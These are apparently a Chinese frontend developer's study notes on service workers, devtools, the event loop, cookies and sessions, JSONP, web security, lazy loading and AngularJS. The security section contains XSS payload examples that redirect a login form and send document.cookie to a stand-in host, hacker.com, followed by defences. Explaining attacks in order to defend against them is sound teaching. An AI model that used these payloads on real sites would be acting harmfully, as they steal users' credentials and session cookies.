模板引擎在后端
优点
在第一次请求时不需要发送请求数据的的HTTP,加载速度可能会快一些;
利于SEO;
缺点
前端模板有改动,后端对应的模板页面也要改动;
如果页面有复杂JS,前端因为没有数据不方便调试,后端需要使用js进行修改;
服务器负载压力大
模板引擎在前端
优点
前后端分离,后台只需要处理逻辑业务,提供接口,减少服务端压力;
前端修改方便;
可跨平台,兼容不同后端技术
缺点
不利于SEO(搜索引擎无法抓取页面的数据,因为只是模板,没有数据内容)
JS有可能被用户禁用,数据安全性低
learn and share
模板引擎在后端
优点
在第一次请求时不需要发送请求数据的的HTTP,加载速度可能会快一些;
利于SEO;
缺点
前端模板有改动,后端对应的模板页面也要改动;
如果页面有复杂JS,前端因为没有数据不方便调试,后端需要使用js进行修改;
服务器负载压力大
模板引擎在前端
优点
前后端分离,后台只需要处理逻辑业务,提供接口,减少服务端压力;
前端修改方便;
可跨平台,兼容不同后端技术
缺点
不利于SEO(搜索引擎无法抓取页面的数据,因为只是模板,没有数据内容)
JS有可能被用户禁用,数据安全性低
img 里面使用src=”{ { } }“会在页面一开始加载模板的时候,不会执行{ { } },直接去请求资源,造成404错误
如果使用ng-src = “{ { } }“就会避免以上问题,ng-src会先去执行{ { } },得到资源地址后再去请求资源
ng-src 指令确保的 AngularJS 代码执行前不显示图片。
前端与后台代理服务器
fetch 事件/方法:service worker向后台发起HTTP请求的方法
fetch(url).then()
message事件/方法:页面和service worker之间进行通信的方法;同一页面两个窗口之间通信(web worker线程)
postMessage发送消息;message接收消息
caches API:处理缓存
注册 register
安装 install
激活 activation
更新 Update
service-worker.js文件更新被浏览器发现后,会进入waitting等待状态,当前页面依旧使用旧文件进行work,
直到当前页面关闭,旧版本文件的service worker才会被kill掉,新版本文件的service worker开始接管页面的缓存资源
新的service worker一开始接管就会触发activate事件,从而可以做一些上次老版本缓存的工作
缓存的文件发生更新,可以在fetch 的时候,一边检查更新从而更新缓存,一边检查缓存然后fetch新资源给浏览器,
通过 promise 的 resolve 特性来决定谁快
(https环境)
后台消息传递
网络代理,转发请求,伪造响应
离线缓存
消息推送
1 | //在项目入口/配置js文件 进行注册 |
相关文档
fetch 通信
web worker 语法
Service Worker API
遗留问题:fetch通信headers添加token字段,不生效
浏览器向服务器发送请求的拦截器
查看一次请求各阶段所发生的时间,HTTP performance
查看报文,上半部分是request,下半部分是response
拦截本来要发给真正服务器的指定请求,将本地资源作为response返回去
1.开启规则
2.添加规则
3.指定请求,若以EXACT:开头,要写完整的请求路径;模糊匹配的话就不要写EXACT:
4.指定作为response的本地路径资源地址
5.确认规则配置完毕
自己创建request 向服务器发送请求
配置好request后,点击excute按钮手动向服务器发送请求
只拦截指定的请求,其他请求不拦截,指定多个时用逗号隔开
填写指定请求时,编辑框为黄色,为未保存状态,点击右上角‘Changes not yet saved’确认配置完毕
1.右键接口选择copy->copy response;
2.在console界面执行copy()函数
copy( ctrl+v ) 回车
3.打开编辑器,新建一个文件,ctrl+v,就得到response 的json格式
console.table(obj):将json数据以表格形式展示在控制台
例
1 | var animals = [ |
使用 console.time() 和 console.timeEnd() 对循环做基准测试
例
1 | console.time('Timer1'); |
最后会得到循环所用时间
Timer1:xxxxx ms
1 | var car; |
在当前页面的js里面修改或添加代码后,ctrl+s 然后在页面触发更改的代码,即可进行调试
但要注意需要刷新才能执行到的代码,不能用这种方式进行调试
直接在代码序号上进行点击即添加了断点
取消断点就再点击断点
退出断点调试就点右上角
禁用断点
如果想知道当前断点上的变量值,只需要将鼠标放在变量上即可
相关链接
相关链接
同一时间只干一件事,干完一件事再干下一件事,
如果前一个任务耗时很长,后一个任务也得一直等着
为什么这样设计?
js 要指挥浏览器干活,如果有两个线程同时执行任务,一个删除DOM,一个修改该DOM,浏览器会不知道以哪个线程为准
同步任务,在主线程上排队执行的任务,前一个执行完才能执行后一个任务
异步任务,一开始不进入主线程,而进入‘任务队列’被挂起,只有‘任务队列’通知主线程某个异步任务可以执行了,该任务才会进入主线程
或者主线程上没有要执行的任务了,就会去任务队列拿任务 ,在确认该到达规定时间后,就给到主线程进行执行其对应的回调函数
主线程从”任务队列”中读取事件,这个过程是循环不断的,所以整个的这种运行机制又称为Event Loop(事件循环)
setTimeout(fn,0)的含义是,指定某个任务在主线程最早可得的空闲时间执行,即尽可能早得执行
另外如果主线程的栈中当前代码耗时很长,要等很久,按照先主线程,再任务队列的执行顺序,
就没办法保证setTimeout的回调函数fn能够在指定的时间执行
nodejs 运行机制:
(1)V8引擎解析JavaScript脚本。
(2)解析后的代码,调用Node API。
(3)libuv库负责Node API的执行。它将不同的任务分配给不同的线程,形成一个Event Loop(事件循环),以异步的方式将任务的执行结果返回给V8引擎。
(4)V8引擎再将结果返回给用户。
与任务队列相关方法
process.nextTick:在主线程任务全部结束后,读取任务队列的任务之前执行它所指定的函数,
如果指定函数里还套嵌process.nextTick方法,或者有多个process.nextTick方法,都要在本轮读取任务队列前执行完
setImmediate:它指定的任务总是在下一次的eventloop时执行,
如果setImmediate与setTimeout(fn,0)各自添加了一个回调函数,那么在下一loop时,他们回调函数的顺序是不确定
如果setImmediate套嵌setImmediate方法,则套嵌的回调函数会被注册到下一轮事件循环中再执行
即多个process.nextTick语句总是在当前”执行栈”一次执行完,多个setImmediate可能则需要多次loop才能执行完。
task/macrotask:script(整体代码), setTimeout, setInterval, setImmediate, I/O, UI rendering
setTimeout() 设置的异步延迟事件;
DOM 操作相关如布局和绘制事件;
网络 I/O 如 AJAX 请求事件;
用户操作事件,如鼠标点击、键盘敲击。
micotask:process.nextTick, Promises(这里指浏览器实现的原生 Promise), Object.observe, MutationObserver1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17process.nextTick(() => {
console.log('nextTick')
})
Promise.resolve()
.then(() => {
console.log('then')
})
setImmediate(() => {
console.log('setImmediate')
})
console.log('end')
//结果
end
nextTick
then
setImmediate
micro-task在ES2015规范中称为Job,
promise.then的执行其实是向PromiseJobs添加Job
在eventloop中,一个task执行完会检查micotask队列,如果有,则先执行micotask,然后再去异步队列领取任务
相关
相关
相关
用户提交登录信息,服务器拿到登录信息进行验证之后,
为该用户在session表中建立唯一sessionid,然后在返回响应的时候,将sessionid放在set-cookie中告诉浏览器,将sessionid 放在cookie表中,下次请求的时候放在cookie中再发给我
这样用户在已登录的状态下进行的访问请求,浏览器都会在报文中将sessionid放在cookie中给回服务器
服务器拿到cookie 就能判断用户是否进行了登录,并根据session表确定登录身份
当用户访问服务器时,服务器就会先检查请求有没有带sessionid,
如果没带的话,就为该用户在session列表中建立一个session,
(这个session是存储特定用户会话所需的属性及配置信息的一个对象,开发人员可以控制里面是什么内容,可以自定义的)
并生成唯一sessionid通过set-cookie给回用户
如果有带的话,就根据sessionid 在列表中查找对应的session,将session 取出来使用,如果没找到则可能新建一个
1.浏览器禁用cookie解决办法
让浏览器重写url:将sessionid 以参数或者附加信息方式放在url后面传递给服务器
表单隐藏字段:服务器在返回表单的时候就将sessionid 以隐藏字段方式给过去,客户端提交表单的时候就一并传回来
2.session什么时候被删除
过期就会自动删除
执行特定删除命令的时候,比如注销
session存在内存中的时候,当服务器被重启或者停止时,session列表会被清空
3.session存储
一般存在内存中,但服务器重启或者停止会被清空
如果想持久保存,可以放在硬盘里面,这样服务器重启或者停止不会被清空
浏览器拿到set-cookie后,会根据sessionid ,域名,路径等相关信息,生成cookie,存到cookie列表中
当用户要请求服务器时,就根据请求资源路径去查cookie表,找到的cookie可用的范围如果大于等于请求路径,
就将cookie放在请求头给回服务器
1.cookie存储
会话cookie存储在内存中,页面关闭就删除
设置了过期时间的cookie,会被存储在硬盘上,直到超过设定时间才会被删除
2.cookie与浏览器
存储在硬盘上的cookie可以在不同浏览器进程间共享
对于内存上的cookie不同浏览器有不同处理方式
IE通过 ctrl+N 的方式打开的窗口可以与原窗口共享cookie,但其他方式不行
而火狐的所有进程和标签页都可以共享cookie
一般情况下通过js window.open打开的窗口会与原窗口共享内存cookie
用户未登录情况下进行页面请求,且之后都不进行登录操作的情况下,还要与用户保持可进行身份识别的通信,
这种情景解决办法可以有
A.
一般就需要依靠识别机器来识别用户了
首先给未登录用户设置访问用户cookie,
根据不同机型用canvas写字像素是不一样的原理
这个cookie由游客设备的各种机器特征码组合起来生成给到服务器,
服务器存起来
下次再访问的时候,就依靠客户端建立的cookie进行识别
或者将机器信息传给服务器,由服务器生成再传给浏览器
B.
使用fingerprint.js包,它是一个可以根据浏览器的代理字符串,屏幕色深,语言,插件安装与支持的 MIME 类型,时区偏移量和其他功能,如本地存储和会话存储等等,
然后这些值通过散列函数传递产生指纹,不需要通过 Cookie 存储就可以识别浏览器
由未登录到登录态要做的事情就要注意两个账号的关联
奇葩问题:在一台设备登录过多个账号的情况下,怎样进行未登录数据的关联
首先设备一般会让你先退出再登录另一个账号,
即便要登录多个账号,要做关联,在第一个用户登录后就关联完了,后面多个再登录已经不再是由未登录到登录状态了
是一种json数据的使用模式的名称,
获取的资料可以是任意js
1.在script标签中使用1
2
3
4<script type="text/javascript" src="http://www.xxxx.com/myService.aspx?param=senddata&jsonp=callbackFunction"></script>
js:
function callbackFunction(result,methodName){}
服务端提供的js脚本会根据param=senddata等查询条件过滤数据,根据jsonp=callbackFunction,动态生成callbackFunction函数,把要传递的数据以参数形式传递进去
例,这里服务端js会生成如下语句供回调
callbackFunction(data1,dat2),data1,data2即传递的数据
2.在ajax中使用1
2
3
4
5
6
7
8
9$.ajax({
dataType:'jsonp',
data:'id=10',
jsonp:'jsonp_callback',
url:'http://www.xxxxx.com/getdata',
success:function(data){
//dostuff
},
});
可以直接的success回调函数中使用数据进行处理
3.在$.get中使用1
2
3
4
5
6
7$.get(
'http://xxxxxx.com/services.php?callback=?',
{
param: data, //参数
function (json) { //dosomething }, //回调函数,?会替换为这里
'jsonp'
);
4.在$get.json中使用1
2
3
4$.getJSON("http://xxxxx.com/services?param1=data1¶m1=data2&format=json&jsoncallback=?",
function(data){ //回调函数
//dosomething
});
通过在页面HTML注入js代码,获取页面信息,再将信息传递到攻击者站点
1.直接将获取信息的代码放在标签里面,利用拼接html的过程,将攻击代码注入到HTML
2.将攻击代码代码放在攻击者站点里面,利用script标签src属性,将文件引入
3.利用页面标签事件属性,攻击代码以触发函数的形式注入,标签事件触发同时触发获取信息的代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21//例1.原本访问www.original.com/login?id=maya,实现自动将maya赋值到ID输入框里面
<input type='text' value='maya'>
//但如果在访问的同时注入攻击代码,如下
www.original.com/login?id="><script>var+f=document.getElementById('login');+f.action='http://hacker.com/pwee';+f.method='get';</script>"
//页面代码就会变成
<input type='text' value=''><script>var f=document.getElementById('login'); f.action='http://hacker.com/pwee'; f.method='get';</script>
//登录按钮的id为login,即用户输入id,密码,等登录信息后点击登录按钮时,不仅会向正常的登录网站www.original.com发送登录信息,
//同时会向http://hacker.com站点发送登录信息,攻击者即得到用户的登录信息,如果是支付页面,即可以得到支付密码
//例2.获取用户登录态cookie的攻击代码xss.js放在攻击者的站点,如下
var content = escape(document.cookie) //escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。
document.write("<img src='http://hacker.com/?'");
document.write(content);
document.write('>');
//本次代码注入的方式变为访问
www.original.com/login?id="><script src='http://hacker.com/xss.js'></script>"
就会执行xss.js的代码,将用户cookie通过img的src发出的请求送到hacker站点
//例3. form表单提交时,给提交按钮添加触发事件,触发函数即注入的攻击代码
<input type='submit' onclick='hacker()'>
//如果需要用户无察觉的触发,可使用onmousemove、onload等事件进行触发
对代码进行漏洞检查;
对特殊字符进行encode;
对富文本进行白名单处理;
在js里面不要用eval,innerHTML;
在response头部的set-cookie中添加httponly,不允许脚本操作document.cookie;
使用x-xss-protection报头
对特殊字符进行encode
把 < 替换成 <
把 > 替换成 >
把 & 替换成 &
把 ’ 替换成 '
把 ’ 替换成 "
代码 div.innerHTML = userComment.replace(/>/g, ‘<’).replace…
攻击站点通过用户触发攻击代码获取登录态,伪造用户身份向源站请求资源或发送信息
1.利用token,让token以参数角色返回服务器,服务器对比之前保存的token,从而判断该请求来自正常页面请求,攻击站点无法获取到token,因此就不能进行任何操作
2.利用攻击站点无法获取cookie的弱点,对获取到的cookie进行转换成token后以参数形式返回后台,因为攻击站点没法获取cookie,也就没办法返回参数
3.使用strict-transport-security报头
前端提交的数据未经校验处理直接存到数据库,然后从数据库中读取直接插入到页面中
1.如果提交的数据本来含有可解析的代码,从数据库读取后在插入过程中可造成XSS攻击
2.如果提交的数据含有SQL查询语句,且被直接拼接到SQL语句中被执行,可能会导致执行结果与预期不同的现象
对前端提交的数据进行严格校验
表现就是DNS服务器上解析表被篡改,导致将正常访问的域名指向篡改后的域名
数据包被修改或插入,导致页面出现弹窗广告
解决办法就是使用HTTPS
使用upgrade-insecure-request报头请求升级HTTPS
使用content-security-policy报头响应升级HTTPS
基本原理是图片image标签的src属性在构建DOM时,先给一特定的默认值,可以是本地图片路径,然后通过监听scroll事件,
判断图片所在位置是否在可视屏幕里面,如果在可视屏幕里面,就将要加载的真正图片资源给到image的src属性
当然通过判断src的值是否是默认值,就可以知道图片是否已经被加载过,加载过就不会被从新赋值,然后重新加载1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23function lazyload() {
const images = document.getElementsByTagName('img')
const len = images.length
let n = 0
return function() {
console.log(1)
const seeHeight = document.documentElement.clientHeight
const scrollTop = document.documentElement.scrollTop || document.body.scrollTop
for (let i = n; i < len; i++) {
if (images[i].offsetTop < seeHeight + scrollTop) { //是否在可视范围
if (images[i].getAttribute('src') === '默认图片的url') {
images[i].src = images[i].getAttribute('data-src') //赋值资源链接
}
n = n + 1
}
}
}
}
var loadImages = lazyload()
window.onload = function () {
loadImages()
window.addEventListener('scroll', loadImages, false)
}
但缺点就是,只要触发了scroll事件,就会去调函数,无论图片有没有被加载,这样就会造成一些没用的调用,所以对此进行改进
改进方式一:使用节流阀(Throttle)
响应函数函数在一定时间内只允许被调用一次,函数能否被执行根据时间来确定
1 | function throttle(fn, delay, atleast) { |
改进方式二:使用防抖动技术(debounce)
当事件发生时,不会立即激活回调。
等待一定的时间并检查相同的事件是否再次触发。
如果是,重置定时器,并再次等待。
如果在等待期间没有发生相同的事件,等待时间结束后就立即激活回调。
1 | function debounced(fn,delay) { |
实现一:AMD模式require实现异步加载模块
在AMD模式里面每个模块都会被define包裹,对无序的代码进行有序的模块化定义,目的就是为了使js能够按照一定秩序执行,
require模块时,会根据模块之间的依赖关系按顺序加载
实现二:使用require.ensure()方法调用异步模块,配置chunkFilename为异步模块要打包到的地方,webpack打包时,就会根据依赖关系打包成异步加载的模式,在运行时就会异步加载模块
实现三:将组建都标签化后,通过对标签添加是否异步的标志,从而实现对该组件的异步加载
1.提前加载下一页数据
2.加载页面时,尽早发出数据请求,实现页面数据预加载
图片的 base64 编码就是可以将一图片数据编码成一串字符串,使用该字符串代替代码中的图像地址
图片就可以随着HTML的下载同时下载到本地,不用为了下载图片向服务器发出请求
将图片转化为Base64编码的工具,可以使用线上网站,也可以用以下方法
在 chrome 下打开新的标签页,然后把要转化的图片直接拖入浏览器,打开控制台,点 Source,source的内容内容就是图片base64编码
可以看到一个图片的base64编码的字符数量一般是很大的,这样,当把图片编码无论是写到css文件还是html文件,
都会因为解析时间过长从而造成渲染速度下降,因此将图片进行base64编码最好的应用场景是如下情况:
如果图片足够小且因为用处的特殊性无法被制作成雪碧图(CssSprites),在整个网站的复用性很高且基本不会被更新
Angular会自动为每个拥有作用域的DOM节点加上 ng-scope 类
AngularJs的angular.extend()方法可以把一个或多个对象中的方法和属性扩展到一个目的对象中,使得这个对象拥有其他对象相同的方法和属性
angular.extends()方法的第一个参数是要被扩展的对象,后面可以传入一个或多个对象
VG元素/提取图片背景色以base64形式直出
使用SVG画图形轮廓,再加一个模糊滤镜
对图片进行二值化提取剪影
构建DOM树,遇到img标签加载图片
构建样式树,遇到backgroud-img图片不加载
构建render树,所有属性都会构建,如果元素有display:none属性,则其子元素不被构建
渲染DOM树,仅渲染没有display:none属性的元素,如果发现元素有该属性则不进行渲染;没有被构建的子元素背景图片不会被加载更不会被加载
设置了display:none属性的元素,图片不会渲染出来,但会加载,不管是直接的img属性还是div的背景图片都会被加载1
2
3
4
5
6
7
8<img src="https://cdn-jlsq-img.thy360.com/2e3457ef739c4116847eb359dffcf651.jpg!thumbnail"> //加载
<div class="skslsl"></div>//加载
<style type="text/css">
.skslsl{
background-image:url('https://cdn-jlsq-img.thy360.com/3aeac46295cb4f15bfb1154692e00c95.JPEG');
}
</style>
设置了display:none属性元素的子元素,样式表中的背景图片不会渲染出来,也不会加载;而img标签的图片不会渲染出来,但会加载。1
2
3
4
5
6
7
8
9
10
11<div style="display: none;">
<img src="https://cdn-jlsq-img.thy360.com/2e3457ef739c4116847eb359dffcf651.jpg!thumbnail"> //加载
<div class="skslsl"></div>//不加载
</div>
<style type="text/css">
.skslsl{
background-image:url('https://cdn-jlsq-img.thy360.com/3aeac46295cb4f15bfb1154692e00c95.JPEG');
}
</style>
当触发伪类的时候,伪类样式上的背景图片才会加载。
重复图片只加载一次,是因为加载一次后,之后的加载均从缓存中读取;
链接
#$digest和$apply
当调用$digest的时候,只触发当前作用域和它的子作用域上的监控,但是当调用$apply的时候,会触发作用域树上的所有监控。
因此,从性能上讲,如果能确定自己作的这个数据变更所造成的影响范围,应当尽量调用$digest,只有当无法精确知道数据变更造成的影响范围时,才去用$apply,很暴力地遍历整个作用域树,调用其中所有的监控。
在Angular中,存在作用域的继承。所谓作用域的继承,是指:如果两个视图有包含关系,内层视图对应的作用域可以共享外层视图作用域的数据。
以下情况会造成嵌套作用域1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47// 1. controller 套嵌
如果两个控制器所对应的视图存在上下级关系,它们的作用域就自动产生继承关系
html:
<body ng-app="test">
<div ng-controller="OuterCtrl">//父域
<span ng-bind="a"></span>
<div ng-controller="InnerCtrl">//子域
<span ng-bind="a"></span>
<span ng-bind="b"></span>
</div>
</div>
</body>
js:
var app = angular.module("test", []);
app.controller("OuterCtrl", function ($scope) {
$scope.a = 1;
});
app.controller("InnerCtrl", function ($scope) {
$scope.b = 100;
$scope.increasea = function() {
$scope.a++;
};
});
//2.数组和对象属性迭代的时候,循环的每个元素都建立了单独的作用域
<ul>
<li ng-repeat="member in members">{{member.name}} in {{teamname}}</li> //每一个都是子域,但可以共享父域的teamname
</ul>
//3.使用ng-if,ng-include,ng-view等指令时构建的DOM,会形成自己的子域
inner.html
<div>
<span ng-bind="name"></span>
</div>
outer.html
<div ng-controller="OuterCtrl">
<span ng-bind="name"></span>
<div ng-include="'inner.html'"></div>//ng-include会创建一层作用域,inner.html里面bind的name会使用OuterCtrl这个父域里面的name
</div>
function OuterCtrl($scope) {
$scope.name = "outer name";
}
作用域继承的缺点就是,子域绑定值能继承父域同名绑定值的值,但是一旦子域绑定值,因为某种触发函数发生改变,父域同名绑定值不会随之改变
虽然可以通过$parent获取父域的同名绑定值,然后子域中做到同时修改,但如果在代码中使用了这种方式,意味着视图模型也只能这样包含,如果再中间插一层子域,
则同名关系变成$parent.$parent,使关系进一步复杂
所以,应当尽量避免父子作用域存在同名变量的情况
从可重用性角度来看,如果满分5分的话,整个应用的这些部分的得分应当是这样:
服务,比如说,对后端RESTful接口的AJAX调用,对本地存储的访问等,5分
控制器(也就是视图模型),2-3分
指令,这个要看情况,有的指令是当作对HTML元素体系的扩展来用的,有些是其他事情的
纯UI类型的指令,也可以算是控件,比如DatetimePicker,5分
有些用于沟通DOM跟视图模型的指令,2分
界面模板,这个基本就没有重用性了,1分
1.覆盖问题
如果moduleA,同时依赖moduleB和moduleC,而moduleB和moduleC有同名的factoryD,那在moduleA使用factoryD的时候,
根据依赖顺序,如果moduleB在前,则moduleC的factoryD会覆盖moduleB的factoryD,moduleA使用的是moduleC的factoryD
如果在以上依赖情况基础上,moduleA自己又定义了同名factoryD,那么moduleA自己的factoryD会覆盖moduleC的factoryD
2.module不支持运行时添加依赖1
2
3
4
5
6
7
8
9
10
11
12
13angular.module("some.components", [])
//这里定义了一些组件
;
//上面是一个组件库,集中存放于components.js中,要在自己的应用中使用,必须:
angular.module("our.app", ["some.components"]);
//不可以这样
angular.module("our.app", []);
require("components.js", function() {
// angular.module("our.app").addDependency("some.components");
// ready to use
});
1.在绑定表达式里面,只能使用自定义函数,不能使用原生函数1
<div>{{abs(-1)}}</div>//不允许这样使用
如果确实需要调用原生函数,可以用一个自定义函数作包装,在自定义函数里面可以随意使用各种原生对象
绑定表达式里可以使用自定义函数,但如果只是对数据做简单处理可以使用过滤器
2.数组里有重复元素的情况,ng-repeat代码不能起作用,原因是Angular默认需要在数组中使用唯一索引
可以指定它使用序号作索引1
2
3
4$scope.arr2 = [1, 1, 3];
<ul>
<li ng-repeat="item in arr2 track by $index">{{item}}</li>
</ul>
但对象值有重复的话,不用像数组那么麻烦需要指定$index做索引,因为它是对象的key做索引,是不会重复的。
angular事件流是一个通知广播的过程
现有A、B两个视图,每个视图又包含各自两个子视图,如果A视图的A1子视图想通知B视图的子视图B1一个业务事件(或传递某个消息)
那A1就发出业务通知,这个通知会沿着父作用域一路往上到达双方共同的祖先作用域
然后这个通知会以广播的形式从祖先作用域一级一级往下进行广播,直到到达需要的地方
相关事件:
从作用域往上发送事件,使用scope.$emit。1
$scope.$emit("someEvent", {});
从作用域往下发送事件,使用scope.$broadcast1
$scope.$broadcast("someEvent", {});
这两个方法的第二个参数是要随事件带出的数据。
这两种方式传播事件,事件的发送方自己也会收到一份。
无论是$emit还是$broadcast发送的事件,都可以被接收,接收这两种事件的方式是一样的:1
2
3$scope.$on("someEvent", function(e) {
// 这里从e上可以取到发送过来的数据
});
如果想要阻止$emit事件的继续传播,可以调用事件对象的stopPropagation()方法1
2
3$scope.$on("someEvent", function(e) {
e.stopPropagation();
});
想要阻止$broadcast事件的传播,首先,调用事件对象的preventDefault()方法,
然后,在收取这个事件对象的时候,判断它的defaultPrevented属性,如果为true,就忽略此事件。
这个过程比较麻烦,其实一般是不需要管的,只要不监听对应的事件就可以了。
在实际使用过程中,也应当尽量少使用事件的广播,尤其是从较高的层级进行广播
上级作用域1
2
3$scope.$on("someEvent", function(e) {
e.preventDefault();
});
下级作用域1
2
3
4
5$scope.$on("someEvent", function(e) {
if (e.defaultPrevented) {
return;
}
});
事件流的通知过程效率低,而且很多下级视图可能根本不要接收消息,进行多余的广播,
所以组建订阅发布模式,接收方在这里订阅消息,发布方在这里发布消息,这个地方就是事件总线1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32app.factory("EventBus", function() {
var eventMap = {};
var EventBus = {
on : function(eventType, handler) { //订阅事件
//multiple event listener
if (!eventMap[eventType]) {
eventMap[eventType] = [];
}
eventMap[eventType].push(handler);
},
off : function(eventType, handler) {
for (var i = 0; i < eventMap[eventType].length; i++) {
if (eventMap[eventType][i] === handler) {
eventMap[eventType].splice(i, 1);
break;
}
}
},
fire : function(event) { //发布事件
var eventType = event.type;
if (eventMap && eventMap[eventType]) {
for (var i = 0; i < eventMap[eventType].length; i++) {
eventMap[eventType][i](event);
}
}
}
};
return EventBus;
});